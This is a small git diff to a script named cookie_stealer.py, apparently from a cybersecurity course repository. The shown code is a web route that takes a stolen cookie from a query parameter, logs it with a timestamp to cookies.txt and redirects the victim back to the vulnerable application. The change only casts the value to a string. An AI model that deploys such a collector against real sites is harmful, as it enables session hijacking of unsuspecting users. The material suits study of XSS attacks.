diff --git a/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py b/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py
index 26315f9..2985028 100644
--- a/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py
+++ b/programming_and_scripting_for_cybersecurity/exploitation/cookie_stealer.py
@@ -19,7 +19,7 @@ def cookie():
 
     cookie = request.args.get('c')
     f = open("cookies.txt","a")
-    f.write(cookie + ' ' + str(datetime.now()) + '\n')
+    f.write(str(cookie) + ' ' + str(datetime.now()) + '\n')
     f.close()
 
     # redirecting the user back to the vulnerable application